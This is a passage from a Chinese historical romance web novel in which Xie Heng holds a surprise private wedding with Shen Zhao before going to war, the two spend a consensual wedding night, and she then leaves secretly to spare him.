既是最后一晚,沈昭想体体面面同他告别,想到夏安心灵手巧,挽得发髻最好看,她问道,“夏安,你可否替我梳洗一下,我不着急回府。” 夏安浅笑,少爷此行遣她来,正是此意,哪怕小姐不说,她亦会带小姐去,这下巧了!倒不用花心思诓骗她去了:“当然好啊,小姐,谨遵小姐吩咐。” 两人一同入了马车,车夫缓缓驾车,稳稳将马车停在一间成衣铺子前。 老板娘刚刚还倚在门边,哈欠连天,见着马车驶来,登时站直了身子,脸上挂笑。 这等贵客,一单便抵上她往日干数月之久,自是不敢怠慢。 夏安先一步下车,抬手去扶沈昭。 沈昭撩起帘幕,将手搭在她手上,由她扶着下车,脚刚刚落地踩稳,老板娘便凑上前:“哟,小娘子原来是你啊,你可还记得我?” 沈昭抬眸,认出这是初回晋国公府时,谢珩曾带她换衣的一间成衣铺子。 当时门匾上挂了彩绸,随风飘扬,老板娘热情周到,临走时还不忘让她帮忙宣扬一番:“当然记得,老板娘,好久不见。” “今儿可是托您的福了,几月不见,小娘子愈发出落得水灵了,我这破烂铺子可是得沾沾喜气。” 沈昭心中纳罕:公主大婚,全城都喜气满满,这福气也是公主的,怎的还同她有关? 夏安哪知这老板娘如此健谈,怕因她口快提前抖落了计划,忙上前将她拉开:“可备好热水了?莫耽误功夫了。” “好了好了,一切都准备妥当,您若是需要人手再随时吩咐我们。”老板娘退至一旁,看着她们上楼的身影,将手中的帕子一甩,轻哼一声。 这公子小姐都如此好脾性,怎的底下的婢女如此猖狂,无法无天了,但总归银子到手,她仍笑意盈盈地候在楼下,轻轻拨弄手里的算盘。 店里的人都已准备好,仍同上次一般的流程,沐洗、濯发、敷面 只是初入府的紧张和豁然,却转瞬成为当下的无奈和不舍。 沐洗之后,夏安为她更衣,先为她换上了诃子,月白色的织锦,上缘缀带系于颈后,若她留心,便会发现如此上好的料子,并非此店内之物。 复又拿起架子上搭的交领窄袖罗衫,为她披上,衣领和袖口以金线绣着龙凤图样,衣边以红色绣线锁边,针脚细密,夏安垂首为她整理衣摆。 水滑的料子隐隐透着少女胴|体,教这小丫头脸颊不觉染上一层浅绯,但她只深深低头,不敢让小姐察觉到她的异样。 秋冬的衣物较之春夏会繁琐些,但一旁的架子上却空无一物,只有此刻穿在她身上的这两件,沈昭不解:“那襦裙和披风呢?” 夏安先拉她坐在梳妆镜前,撒娇道:“小姐,我今日要为你试一套新的头面,但是唯有一个请求,你可得应下,那便是先不准偷看!” “你呀,何时变得这么谦虚了,还有你应付不来的妆饰,你大胆尝试,只要不把我化成个花脸猫就好。”沈昭不疑有他。 “那不行,我怕我手生。”夏安拉着她的手,娇嗔道,“哎呀,小姐求你了,你就允了我吧。” 沈昭拗不过她,直觉她今日有事瞒她,妥协道:“那你想如何?” 夏安取下一旁早准备好的绸带,首尾对折两次,又蒙在自己眼上试了试:“我一会儿先为小姐上妆,上妆后,小姐你就带着这个绸带,直到我让你取下,可以吗?” 沈昭微蹙着眉头,还未等她拒绝,夏安便将她摁在木椅之上,拿起粉盒,着急说:“那权当小姐默许了。” 时辰不多了,沈昭也不想再继续拖延,由她去了,夏安似与她心有戚戚,手中动作不停,又加她妙手生花,寥寥几笔将眉目梳就,粉面朱唇,花钿上的金箔映着点点金辉。 念着小姐本就皮肤瓷白如玉如脂,怕提前漏了陷,她控制着颜色,尽量不施以浓妆艳粉。 她又以朱砂点在她双颊的酒窝处,两个红点寓意相思,倒确与平日有几分不同。 夏安细细打量小姐的面庞,莫说男子,便是她都一见倾心,忍不住多瞧上几眼,她拿起绸带,覆于她眼前:“小姐,你耐心等待几时,我很快就好。” 夏安手挽青丝,指尖在她乌发中,来回几个往复和翻转,未久,一个自然天成的惊鹄髻挽成。 尊贵大方,配着沈昭如花似玉的容颜,美得不可方物。 她又取来杨方提前送来的锦匣,其中金翠步摇、珠玉首饰若干,便是耳珰都有好几对不同样式,令她都眼花。 她轻柔扶着发髻,仔细将所有珠钗为其戴上。 沈昭只觉她的头比灵山寺的姻缘树还重,脖颈微微发酸,她是想稍作打扮,但是若任她发挥,还不知将她扮作何样:“夏安,不必过分隆重。” “是,小姐。”夏安插上最后一支珠钗,仔细瞧着她精雕细琢的作品,暗暗赞叹,她这一生也算值了! 她让老板娘送来提前备好的喜服,老板娘见她被蒙着眼,心中暗喜,亦不多言,同她一起为沈昭穿戴整齐,沈昭细长的指节轻轻摩挲到嫁衣上绣制的纹路,如此重量在身,比她那日的礼服还沉,她霎时明了。 谢珩是想今日迎她过门。 她心中沉了沉,不想扫兴,默然配合着她们。 老板娘打眼看着这美娇娘,哪怕以绸带覆面,鼻梁秀挺,唇若初绽的芍药,不点而朱,浅浅的笑意自唇角漾开,当真是绝色佳人。 她们两人搀扶她下楼,嫁衣裙摆如盛放如火的杜鹃花,层层铺开,随着她轻缓小心的步子,一步一摇,步步生姿。 楼下,谢珩被杨方带来后,因着男子衣着简单,早梳洗完毕等她,他身着深红色广袖圆领袍,衣身绣金线团窠纹,腰间束玉带,内穿一件素纱中衣,交领微露,见到款步向他走来的沈昭,如玉的长颈霎时红了。 谢珩头戴镂花金冠,束发于顶,两侧垂红色缨穗,被轻风轻轻吹起。 剑眉之下,本是冷峻的眼眸,在见到新娘子的那刻,仿佛星子坠入幽潭,溅起涟漪万千,挡不住的柔情蜜意, 他身骑白马,广袖猎猎生风,袍摆翻涌如霞,霞姿月韵的脸庞下难掩心中那份波澜。 “少爷”夏安刚欲脱口而出的话,被谢珩拧眉堵在她喉间,她垂首不语。 要给小姐“惊喜”。 他早有意迎娶沈昭,在他要庚帖那时,沈昭便知晓默许了。 可她本以为他会慢慢让李立雯接受他们,徐徐图之。 岂料一切竟来得如此快。 谢珩身旁喜轿落地,只待新娘入轿。 他身后率领新府健仆二十四人,分列两排,手执红灯,捧花烛,队尾的仆从若干,挑着朱漆描金箱,一路绵延至巷尾仍看不到头。 沈昭虽爱财贪财,但哪怕是他先前交与的书契、私印,她都未曾动过,谢珩这几日将其私产全部取出,都置于箱中,随着新娘子一并送入新府。 他要了夏安和春宁的卖身契,一同带入新府,给沈昭作伴。 沈昭并不知谢珩在眼前,双眼仍无法视物,由着夏安将她扶上喜轿。 喜轿四角悬金铃,行走时,经风吹拂,泠泠作响,如佩玉鸣鸾,搅乱她的心。 老板娘喜滋滋地收下喜钱,一日见了两场盛大的嫁娶,眼前这排场可真不弱于皇帝嫁女儿。 她初见时就看这对公子小姐般配得紧,果不其然,如她所愿,有情人喜结良缘。 抬轿的人稳稳当当,沈昭端坐在其中,心却起起伏伏。 她十指紧紧攥着嫁衣上绣制的纹路,该是一对交颈鸳鸯,可硌在她手心,却像一把未开刃的刀。 承载着她的不舍与犹豫。 李立雯撕心裂肺的哭喊仍在她耳中久久不绝。 忽而轿身轻轻一颤,落于地上。 夏安在外扶她下轿,抬眼偷瞧少爷,府前的火盆烧得正旺,既到了此,再瞒怕是瞒不下去了。 谢珩翻身下马,旁边的喜婆还未开口,他款步走在沈昭身前,手里的团扇悬在她和他之间。 他如玉的指节慢慢挽起覆在她眼前绸带的一端,扯着绸带的手轻轻用力,软纱滑落的刹那,天光如瀑般倾斜而下,火盆中的光亮刺的她鸦睫急颤,她尚未适应这骤亮。 耳边先撞进他一句:“沈昭,你可愿意嫁我?” 第49章 秋风寒凉,但谢珩的话却像融融的春水消解整冬的酷寒。 他总是如此,至诚至真,世家贵族教养出贵公子不知凡几,如高峻那般风流恣意者多,如高义信般博学多闻者众,可唯独他愿听她那些虚无缥缈的天方夜谭。 从不妄议,从不自矜。 冲不破的家世门第,他会以自己的方式去寻。 践行不了的诺言,他从不开口。 沈昭握着扇柄的指尖微颤,心口似被什么攥紧,又酸又涨,不知是欢喜还是惶然。 他寻了长安城最好的绣娘连日赶制嫁衣,将她亲近信任的婢女送回她身边,将婚事的所有细节准备妥帖。 这些细碎的念想,她自个儿都未必放在心上,他却暗中筹备,直到今日捧到她面前。 她忽然觉得眼眶发烫,抬眸对上谢珩,他眼眸中亦氤氲了一层水雾,似在等她的回答。 谢珩手捧着婚书,弯弓射箭拔剑杀敌的手,此刻竟为着她微微发颤。 “愿意。” 两个字轻的如同枝头被秋风吹落的花,但落在谢珩耳畔,却重如宝鼎,心尖像被火苗舔过一般,滚烫得几乎要化开。 喜婆欢喜地上前扶过新娘子,领她跨过火盆,香案设于中堂,虽然并无亲友到场,天地皆可为他们见证,两人交拜饮合卺酒。 洞房内,红烛明明,喜房里红绸红缎,将她的脸映得更加醉人。 她端坐在纱帐下,适才看清身上的嫁衣,金线绣的鸾凤被摇曳的烛光照亮,好似振翅欲飞。 可裙摆却如铁铸般沉沉压着锦被,方才饮完合卺酒,谢珩亲手系在她手腕上的赤绳,此刻正随着两人脉搏突突躁动不惜。 谢珩坐在她身侧,屋内只有喜蛛燃烧时,偶尔发出的几声“噼啪”脆响。 寂静半晌后,谢珩将手探向自己怀中,取出那份他亲自写下的婚书:“沈昭,有一事我不得不先向你言明,孑于屡犯我边境,我身为朝中一员,不能视而不见,因此我请圣上准予我随军出战” 他身为内廷金吾卫大将军,主掌长安城内的巡视和宫中活动庆典的礼仪,按品阶和官职去断,他本不用上战场。 正如他母亲李立雯所言,他从未出征过,虽然武功不凡,但终究没有作战经验。 他作为当今圣上的亲外甥,本就有一世享不完的荣华富贵,大可不必至此,甚至景明帝多次驳回他的请求,因他一再坚持,最终才无奈应下。 谢珩若本就是奸猾之人,还可大开方便之门,随便混个军功便罢,可他偏偏不是耍懒使小聪明的人,哪怕夜里巡值并不需要他,他都不曾缺值,何况此事事关边防。 沈昭虽然已经知晓,但并未出言打断他,在一旁静静听他倾诉。 谢珩:“疆场生死未知,我于出征前迎你进门,是我的私心作祟,我会尽量保重好自己,活着回来见你,但刀剑无眼,若是我有个万一,终是我对不住你, 所以这婚书之上,只有我的名讳,今夜我已安排妥当,任何人不会将今夜之事外传,三书未签,哪怕你反悔,长安城中也无人知晓你曾嫁过人。” 他沉吟许久,才忍痛,从唇齿间咬出这一句:“若你以后另觅新人,嫁娶由你。” 沈昭无奈浅笑,他竟连他身死之后,若是她再嫁于旁人一事,都提前设想好了。 既不会拿这桩婚事霸占她,锁住她的下半生。 又全了曾经的诺言,迎她进门。 若他能凯旋而归,军功在身,自是可以求圣上讨个赏赐,下旨赐婚,无人再会阻拦他们。 若他战死沙场,他一生积蓄眼下正堆放在新宅的库房内,赠与沈昭,足以保她一世衣食无忧。 他做了万全准备,设想了最坏的结果,哪怕她的未来没有他。 烛焰在这一刻慢慢拉长,沈昭睫毛翕动的速度变得极缓,那跃动的烛火闪着细碎如线的光,像把星子洒进她眼眸,视线忽地一片模糊。 舌尖尝到淡淡的咸涩她才惊觉自己落泪,嫁衣前襟早已被泪水浸得暗红,宛如猝不及防盛开的红梅。 她轻轻地吸吸鼻子,尽量不让谢珩觉察到她的异样,努力克制着声音问他:“没有其他办法了么若我签下婚书,婚事已成,你大可不必去。” 她不愿他去涉险,若能劝下他自然最好。 谢珩:“可我想让你当我名正言顺的妻子,若母亲不允,我自会让她松口,只要圣上下旨。沈昭,你放心,我自知前路凶险,但不会冒然行事,我岂会那么容易死” 但他未说完的话僵在口中,他归期不定,他又岂能奢求让她等他。 他将婚书紧紧握在手中,指节泛起青白,在这满屋的红艳中,显得更加刺眼。 他心中对她充满了歉疚,未让她事先知晓,就擅自做了决定,他更没道理将她永远困在身边,她本该是自由的。 这一场婚宴他能给的有限,但他又贪恋这片刻的美好,恨不得将此刻永远封存。 自入喜房后,谢珩便坐定入僧,不敢向她置去一眼,深怕这一眼便不愿割舍。 身侧的人面如凝脂,眼如星眸,明明她从未穿过如此端庄明艳的颜色,但若是置身万花丛中,只怕再娇艳的牡丹都失了色彩。 他复又将婚书收回怀中,留下最后一句:“我曾读书中,风流才子盛赞佳人倾国倾城,尚还颇觉其夸张,今日你一身嫁衣,我才方觉书中诚不欺我。 无论前路如何,能与你结识,得你青睐,纵使前路渺远无归期,我这一世都值了。 沈昭,终究是我对不住你,能给你的太少,又奢求太多,一切都错在我,把持不住自己的心。” 他既然许诺不了自己的安危,就不强要她等他归来。 /:. 今夜便不会逾矩,他沉沉吸了一口气,从床榻上起身:“你早些休息吧,我去偏房睡,明日一早我会进宫接旨,就不同你辞别了,一切珍重。” 明明该说“我等你”,可这口气却堵在沈昭喉间,成了团浸透灯油的棉絮,咽下去烧穿肺腑,吐出来又会引燃她最后残存的一丝坚定。 谢珩提步而去,刚踏出两步远,系在两人手腕间的赤绳将他拉停。 一对飞蛾直冲着喜烛而去,猛地撞上烈火,被烧断薄翼也扑扇着向对方奔去,最后相拥倒在桌上蜡油凝成的油洼处。 谢珩垂眸望向红绳的瞬间,沈昭将手中团扇往上抬了抬,遮住自己被泪水打湿的脸。 喜房之中并无尖刺之物,他今夜又卸了剑。 谢珩向窗外望去,喊道:“杨方,去取把剪刀。” 还没走出宅院的喜婆,听到谢珩的呼喊,她性子泼辣,将走上前的杨方一把推开,冲着屋内咋呼道:“哎哟,你们这些小辈太不懂事了。“ 怎的家中长辈没教过规矩嘛? 刚到嘴边的话被她吞回肚子里,这新婚之夜,小夫妻二人的家眷都不在,估计家中无人,怕犯了忌讳,喜婆直言道:“  这喜绳哪能剪短,可不兴如此,”她斟酌着用词,把诸如不吉利、一刀两断之类的话舍去。 “金缕缠腕,百年不朽,这喜绳得第二天再解开,这洞房花烛夜当然是喜绳纠缠越紧才越恩爱嘛!”喜婆勾起一股别有意*味的笑。 杨方红着脸,有些听不下去,大步走开,但仍等着谢珩的吩咐。 屋内的寂静更甚,谢珩站在原地走也不是,留也不是。 不过这些倒是喜婆那辈的旧风俗了,她知大户人家规矩多,新婚之夜光沐洗就得好多次,难免不便,这一风俗流传至今,倒并非一定遵循,她说道:“若是你们小夫妻行动不便,大可解开了,只是可千万莫动剪刀。” 交代完这句,她便随着家丁下去领赏了。 映在窗柩上的身影,一个玉姿挺拔,一个皎如秋月,由一线牵引,遥遥对望。 屋内红烛燃半,烛泪垂落如血,已在鎏金烛台上积成小小的红丘,旁边躺着一对断翅的白蛾,红白相映,格外明显。 谢珩抬起缠着喜绳的手径自去解,可这结扣系得颇为讲究,饶是他一身武艺在身,一只手也无能为力,若用蛮力将其断开,他又怕若真应了那些不可言说的忌讳。 越急反而系得越紧,他额上甚至都出了层薄汗。 沈昭瞧着他的模样,唇角微弯,用衣袖子浅擦了擦脸上的泪痕,将喜扇放在一旁的桌案上:“我来吧。” 她起身上前,一双纤纤柔夷搭在喜绳上,并不急着去解,反而打量着绳扣的走势。 她身上的甜香霎时弥散在谢珩鼻尖,头上的珠钗闪着金光,一跳一跳将他本不那么平静的心,搅弄得暗涌起伏。 从他的角度望去,她额间的花钿似抹了蜜一般诱人,挺翘的鼻翼下,胭脂点就的唇珠,若隐若现,似五月的樱桃,饱满可人。 沈昭解扣时,指尖有意无意地拂在他的腕间,她无意撩拨,可他却骤然僵住,激起一片酥麻。 那本强烈克制下去的火苗,被她噌一下点燃,他慌忙避开,将手负在身后:“算了,我让杨方去取一床被子,我在门外便是。” 他转身要走,喜绳的另一端却被沈昭紧紧拽住,沈昭开口:“我既如你说得如此漂亮,那为何除了下轿那刻,你今夜一直不曾看我?” 哪怕是他们对饮合卺酒,谢珩都有意将视线错开。 念及她与李立雯的约定,今日是他们最后一次相见,她想多看他几眼,却总被他刻意躲闪。 审问犯人时声色严厉,诗会竞赛时对答如流,可谢珩此刻却哑然不语。 美人在侧,若是换作旁人只怕早心痒难耐地扑上去,一亲芳泽了,可他却始终强忍着,忍着不去看她,不敢碰她,未跨出最后一步。 他身上的中衣已被汗浸湿,猛地闭眼,再长的广袖也掩盖不住他手背之上暴起的青筋,但心中最后一丝仍理智占据上风:“早些休息。” 他不管不顾地往门外走去,沈昭拉扯不动绳子反而被他带着踉跄一步:“哎。” 沈昭身子一软,装作不支,蹲在原地,将头埋在玉臂中,肩膀不住地颤动,佯作哭泣。 两手相连的喜绳还未解开,无力耷拉到地上。 “碰到哪了?你没事吧。”谢珩听罢,转身去扶她,生怕因自己的莽撞伤她。 他的双手落在她两肩之上,鼻息吞吐的热气喷在她头顶,沈昭身子瑟缩,嘴角却扬起一抹浅浅的笑。 明明就是关心她在意她,可偏还要退避三舍,哪有新婚之夜让新娘独守空房的人,真真别扭得很。 “沈昭,伤到哪里了,让我看看。”他关切的话语不断,见她迟迟不动,霎时慌了。 沈昭仰起头,两条细长的藕臂搭在他颈后,猛地拉近与他的距离,浅浅笑着:“那你可要好生看看。” 她们彼此对望,鼻尖几乎贴着鼻尖,呼吸交织在一起,他身上的沉香染了几缕酒气,盈盈绕绕环在她周围。 沈昭能清晰地看到他如鸦羽般的睫毛在脸上投下的阴影,那双如墨深邃的眼眸中映着的灼灼烛火和她的倒影。 她甚至能清晰地听到他鼓动如雷的心跳,感受到他胸前的起伏。 “你哭了?”他温热的大手轻柔地抚上她的脸颊,为她擦去长睫上沾着的细小水珠。 “新婚之夜,你留我独守空房,天底下哪有这样的新郎官儿。”沈昭故意嗔怪道。 “我其实”谢珩出口解释,终究化作满腔的无奈,独自咽下肚。 "我明白,谢珩。"她又向他靠近了些,鼻尖与他的相触,她甚至能感受到他温热的呼吸拂过自己的唇瓣,带着若有似无的葡萄酒香。 那一杯合卺酒,倒比往日她饮的果子酒更醉人。 谢珩扶在她双肩上的手,因她突然的靠近,本顺势滑落在她大红嫁衣之上。 握成拳的双手青筋几乎崩起,像连绵又遒劲的山脉,蓄积着隐而不发的力量。 沈昭屏住呼吸,眼睫轻颤,若有似无地扫在他的脸庞。 他的目光太过灼热,又加之方才哭了一会,她下意识地舔了舔干燥的唇,却不知这小小的动作让面前的人眸光骤然加深。 他高挺的鼻梁轻蹭过她的,低头衔住了她的唇。 这个吻起初如蜻蜓点水地浅浅触碰,却在触及她柔软的唇瓣后骤然加深。 她如同最诱人的陷阱,仅是一眼便让他深陷其中,欲罢不能。 谢珩的大手揽住她的细腰,将她紧紧压向自己。 当他挺括的胸膛贴上她胸前的软肉,他手下的力道登时失了分寸,揽在她腰间的手,无意中扯下她的喜服,露出莹白如玉的香肩。 她只觉得眼前天旋地转,唇齿间全是他霸道的气息,酒的热辣扑了满口,萦绕在舌尖,痴痴缠缠,醉得她头晕目眩。 谢珩的舌尖试探又暧昧地轻轻描摹她的唇形,将她唇上的口脂一点点吮咬,她轻喘一声,不自觉微张朱唇,他的长舌顺时长驱直入,与她的小舌纠缠共舞,汲取她口中的甜香。 沈昭被他亲得软在他怀中,像一抔初化的雪,他手臂发力,恍如密不透风的石,将她抱得更紧,她身前那份凹凸压得凌乱。 良久,他才恋恋不舍地放开她被亲得红透的唇瓣,轻吻着她泛红的耳垂,他喘得厉害:“沈昭,我心悦你。” 他粗重的喘息唤得她心尖发颤,抬眼撞进他的漆眸中,其中的情意像水般汹涌像她涌来,令她沉溺,她只想沉醉在那一汪深潭中:“谢珩,我也爱你。” 谢珩眸中的火燃得更烈,突然将她打横抱起,大步走向内室的雕花大床。 沈昭喉间的惊呼因嗓子的干哑,柔柔化为一声娇喘,她下意识抱紧他的脖颈,脸贴在他坚实的胸膛上,听着他咚咚的心跳与她的呼吸一般急促。 红纱帐被轻轻放下,烛光透过纱帐映在两人身上,为屋内蒙上朦胧暧昧的色彩。 谢珩将她轻放在锦被上,却直起身子,作势抽身要走。 沈昭拉着他的衣角,目含秋水:“别走,留下来。” 她躺于床榻之上,青丝如瀑,散落在他雪白的侧颈之上,喜服被他扯乱,香肩半露,莹润如玉的肌肤在烛光下泛着珍珠般的光泽,锁骨精致如蝶翼,随着她略微急促的呼吸轻轻起伏。 她浑然不知自己此刻有多撩人,只觉心口发烫,脑海中尽是谢珩那双如欲如火的眼眸,他炽热又宽大的手掌、粗重又灼热的呼吸挑弄着她每一根神经,全身血液都在燃烧沸腾。 她只想将他留在身边,再久一些,再久一些 她最后逼他一下,轻轻呢喃:“若你执意要走,便剪了喜绳去偏房吧,我不留你。” 说罢,她翻了个身,将半张脸埋在锦被里。 可这一动,本就被扯得凌乱又松散的衣襟滑得更开,雪肩侧露,藕臂横陈,身前那团雪白亦一览无余,经嫣红的喜被衬着,愈发如雪如玉,娇艳诱人。 她全然未料想这衣服竟如此松垮,伸手去拢好衣襟,指尖却在触及肩头被他燥热如火的大手抓住。 她转身对上他的深眸,谢珩十指插入她的指间,紧紧相扣。 他旋即上了床榻,将她抱起,相对而坐,修长的手指抚上她的衣带:“怕么?”他声音沉哑,手上的动作却温柔至极。 似想到要事,他扯着她衣带的手松开,翻身下榻,走到窗边吩咐了几句。 未久,杨方红着脸,依着他的吩咐,将去西市一间私密铺子买的肠衣,从窗户缝隙中递给自家少爷。 这铺子是高峻曾对他倾囊相授时告知的,此店专们制作此物,以温热的羊奶浸润一夜,软滑舒适,放在玉匣中售出,前日制作,明日售卖,若去得晚了便没有了。 他将玉匣放在一旁的桌案上,沈昭霎时明了,原是他竟将她的话一一放在心中,从未忘却。 她咬了咬下唇,轻轻摇头,她初尝人事,但若是谢珩,她便不怕。 谢珩低笑一声,俯身在她眉心花钿处落下一吻:“别怕,我会轻一些。” 衣带渐宽,罗衫轻解,他的动作极尽温柔,仿佛对待易碎的玉雕。 随着最后一件小衣飘落床下,他眸光一暗,喉结不自觉的上下滚动,眼前春光乍泄,无限旖旎,欲念在体内疯狂叫嚣。 他脱下自己的衣襟,露出肌理分明的身躯,烛火映照下,但见他宽肩窄腰,腰腹上块垒分明,身上的线条刚劲有力,劲腰之下,肌骨隐现,力道暗藏。 他俯身含住她的唇,大手抚上她的腰肢,缓缓向上,没有了衣物的阻隔,陌生的触感令她浑身轻颤,他的每一寸皮肤烫得她身上香汗淋淋,激起一片酥麻。 他因着之前从高峻口中听得的经验之谈,极有耐心地引导着她。 指尖如春风拂过琴弦,在莹白的如玉的琴身上奏出羞怯的颤音。身下锦被上的缠枝花纹微微颤动,她的指尖在他肩头留下浅浅的月牙痕迹。 沈昭忽而如同一只干渴缺水的鱼,被他反复放在火架之上,翻滚炙烤。 时而又像腊月中泡在温泉池中,每一个毛孔都舒展开来。 她眼眸半阖,连抬眼的力气都没有,任由他小心翼翼地抱到浴桶里,帮她沐洗。 像被水打湿的花儿,脸上嫣红艳艳,更惹人怜爱。 温热的水将她覆盖包裹,随着沉闷一声,这水线晃晃悠悠上涨几寸,谢珩紧随其后,浴桶内外又下了一场酣畅淋漓的雨。 窗外,月亮露出一角,也羞瞧这夜夜不熄的贪欢。 第50章 沈昭一夜无眠,每每刚阖上眸子,又被那温热之物弄醒,浑身都发酸,连伸手去拽锦被的力量都消散无几。 在屋外听候伺候的人,东倒西歪地靠在石阶上睡着了,手上还搭着木桶。 一夜不知换了几次水,厨舍内的柴火烧去大半,屋内地面上还存着几滩浅浅的水汪。 谢珩还在睡着,肤若冷玉,长睫低垂,眉峰如剑,胸膛随着呼吸缓缓起伏,身上的肌理线条隐现,一派浑然天成的英挺之姿。 月色自窗柩的缝隙中漏入,拂过他俊逸轮廓,镀上一层清辉。 沈昭深深望了他一眼,俯身在他额上留下一吻,怕将他吵醒,朱唇停在尺寸之间,并未落下。 只要她离开,李立雯便会将他留下,不必出征;只要她消失,他仍是长安城里的金吾卫大将军,有着数不尽的荣华富贵和大好前程。 沙场征战九死一生,哪怕他万事小心,她也不能拿他的命去赌。 不值得。 沈昭轻声下榻,换上一身简装,将提前写好的书信和曾经的契书放在一旁的桌案上,头也不回地推门离去,她小心翼翼地绕过院子里的杨方一众。 看门的家丁见她出府,见礼道:“夫人。” 沈昭颔首应下,朝着与李立雯约定处赶去。 —— 谢珩翻过身子,伸手去捞身旁那缕温软,却摸了个空,他瞬时挣开眼眸,大步下榻,逡巡一圈,房中无人。 他又披上外衣,隔窗问道:“杨方,你可看见沈昭了?” 杨方还在梦中,迷迷糊糊擦了把脸,眯起眸子,险些被脚边的桶绊了一跤,左右摆头,睡眼惺忪:“我不知道啊。” 他瞥见一旁横七竖八的家丁,上前用脚轻轻踢了踢:“快起来,看见夫人了么?” 秋风起,吹得窗沿嘎达嘎达作响,桌案上的信笺被风卷起一角,似向他招手。 信笺的一旁是沈昭初入府时,签下的契书。 谢珩的心霎时沉了一下,一股莫名的不安涌上心头,他踱步走上前,打开信笺,还未看清其上的字迹,手已然微微颤抖:“谢珩,谢家不能没有你,祖母和母亲承受不住离别之苦,征战一事请你再做思量,我回九州了,望君前路坦途,勿念。” 谢珩的手缓缓垂下,薄薄的信笺似一粒浮尘,孤零零地落在地上,一旁是昨夜纠缠未解开的喜绳。 喜绳一端仍绑在谢珩手腕间,另一端空空如也。 “杨方!备马。”谢珩顾不得梳洗,将佩带往腰间胡乱一缠,疾步出门。 守门的家仆指着远方:“天未明时,夫人独自往那个方向去了,奴才本想替夫人备马车,可夫人不用,大约走了有一个多时辰了。” 谢珩立于马上,听着他的话,脸色越来越暗,家仆不知所犯何事,哆哆嗦嗦不敢再言,声音减小。 他双脚发力,扬鞭而去,刚走出几里地,便见远方一辆马车缓缓驶来,在他面前停下。 李立雯掀起车帘:“珩儿,回家吧。” 两个时辰前,李立雯已备好了马车送沈昭出城,至于她何去何从,亦不在她知晓的范围之内,她更没兴趣知道。 念着她在谢府这段时日,为着老夫人费心劳力,花了不少心思,李立雯给她留了些银钱:“寻户好人家,重新开始吧。” 只要能留下她的珩儿,哪怕让她做这个恶人,她也甘愿,何况男女情爱只是一时兴起罢了,日子久了,一切都会冲散。 珩儿只是暂时被冲昏了头脑,引他回正路,只需时间。 谢珩攥紧手中的缰绳,马儿发出一声嘶喊,彻底划破黎明。 他第一次未对母亲行礼,打马上前,质问道:“母亲,是您逼她离开的?” “放肆,你们本就有违伦|常,何须我逼,她只是认清现实,知道自己几斤几两罢了,你莫胡闹了,她已走远,你找不到她了,你速速进宫,去请皇上收回成命。” 谢珩失声大笑,眼眸猩红,他顾不得礼数分寸,声色凛然道:“何谓伦常,男未婚女未嫁,她并非谢怀瑾,我们情投意合有何不可,我为何不能娶她! 母亲,谢怀瑾死了,她被人拐至山中,流落到牛家村,在赶回长安城的路上已经死了。” 谢珩说罢,策马扬鞭,向着沈昭离开的方向追去。 李立雯失神地望着他离去的背影,他的话如一支冷枪直直戳进她的心窝。 瑾儿没了。 她本以为还有机会,还有机会弥补当年她的过错,可为什么! 她低笑起来,四野空旷,只余她悲戚的狞笑和哭喊声,久久不绝。 —— 佛堂前,僧中的住持带着入寺的香客和俗家弟子在吟唱念经。 声若松涛,乍吟乍讽何其悠扬①,令人不由得心静神安。 沈昭踮起脚向内张望,一眼认出跪坐在第一排,口中念念有词的老夫人。 她等候在外,待下了早课后,她小步上前,恭恭敬敬行了一礼:“祖母。” 她入府初衷便是希望老夫人能解郁抒志,她这一走,后会无期,假扮一事迟早会暴露,届时只怕给老夫人造成的伤害更甚,她仍不放心,临走前再拜会她一次。 老夫人笑着扶她起身:“前几日珩儿来时,我还纳罕怎的不带你一起来,今儿倒好,把你给盼来了。”她抬眸望向她身后,“怎的,珩儿没同你一道?” 沈昭:“没有,他公务繁忙,一向不得空的。” 老夫人在此清修,心中愈发宁静,曾经还惦记着府中事务和小辈的婚事,日日念在口中,自得其扰。 如今六根清净,只觉俗事泛泛,终成云烟,倒不必外求了。 两人一时无话,沈昭主动开口:“祖母,我看您刚才诵经听学颇为专注,出府这一遭,还请您给孙儿指点一番,生死缘尽可是自有定数?” 老夫人笑对她说:“你这孩子瞧着便有慧根。我们此等凡人皆困于世俗和肉身的牵绊,殊不知生亦是死,死亦是生,死亡并不是终点,缘起缘灭皆不由人,一切但看个人修行。” 沈昭试探道:“若是有朝一日,孙儿先走一步,定会以无形之身永远陪在你们身边,让祖母知道,孙儿无论在何处都时时刻刻念着您。” 老夫人抚着她的头:“你这孩子惯会讨我欢喜,之前我总觉我这老婆子,白发人送黑发人,该如何了此一生,我无颜去见你的祖父啊, 可世事变迁,经历了这么多年,倒也看开了几分,若事已发生,何苦还要强求。” 沈昭挽着她的手:“祖父岂会怪您,指不定到时我缠着祖父陪我下棋呢,何况父亲也在,一家人团聚,还不知多快活。” 老夫人眉眼弯弯,如霜的鬓发是岁月对她的不舍,笑着笑着便落了泪:“是啊,是啊。” 临走前,她难舍地拉起沈昭的手,老夫人是商贾大家出身,自幼跟随父亲见闻颇深,人情纷扰,是非缘浅,她看得明白,亦有自己的几分猜测。 瑾儿若是如此轻易便寻回来了,又岂会隔了十余年不主动归家呢。 但老夫人终没有说出口。 只是望着沈昭的背影,问道:“你可认识名唤沈昭的姑娘?” 沈昭驻足并未回首:“祖母,您怎么知道她?” 老夫人:“几日前,珩儿拿着她的庚帖来寺中合婚,八字相宜,佳缘天成,珩儿如此爱重她,我想这一定是个好姑娘,只是不知何时能见她一见。” 听闻此话,沈昭那颗自下定决心离开后,千疮百孔又被堪堪拼合,强装镇静的心,瞬间坍塌。 原来在那些寂静无声的岁月里,他早将对她的爱意说与所有人。 沈昭心中的酸涩如决堤的水,奔涌而出,眼角的泪止不住地外流,最终只道:“祖母保重,瑾儿走了。” 灵山寺山脚下,小和尚慧能背着竹筐,圆溜溜的脑袋不时往远处探,忽见一辆马车停下,他小手抓紧背带,小步跑上前,扬着头盯着车帘。 沈昭撩起车帘,对上他笑眯眯的眼眸,他稚声说:“女施主,我还以为你不会来了!” 沈昭蹲下,向他伸出手:“上来吧。”几日不见,他似乎又吃胖了些,多亏车夫搭了把手,两人将他拽上车。 马车依着慧能所指的方向,向山中慢悠悠驶去。 原主严元清的家她自是回不去了,她在此地所有认识的人都与谢珩有千丝万缕的联系。 因着她还未放下种茶买茶的事,灵山寺是她最后的选择。 她不愿牵扯旁人,便只有小师傅慧能一人知道她具体所在。 马车在山中一个木屋前停下,木屋旁立了一个界碑,向西走不到一里地便是长安。 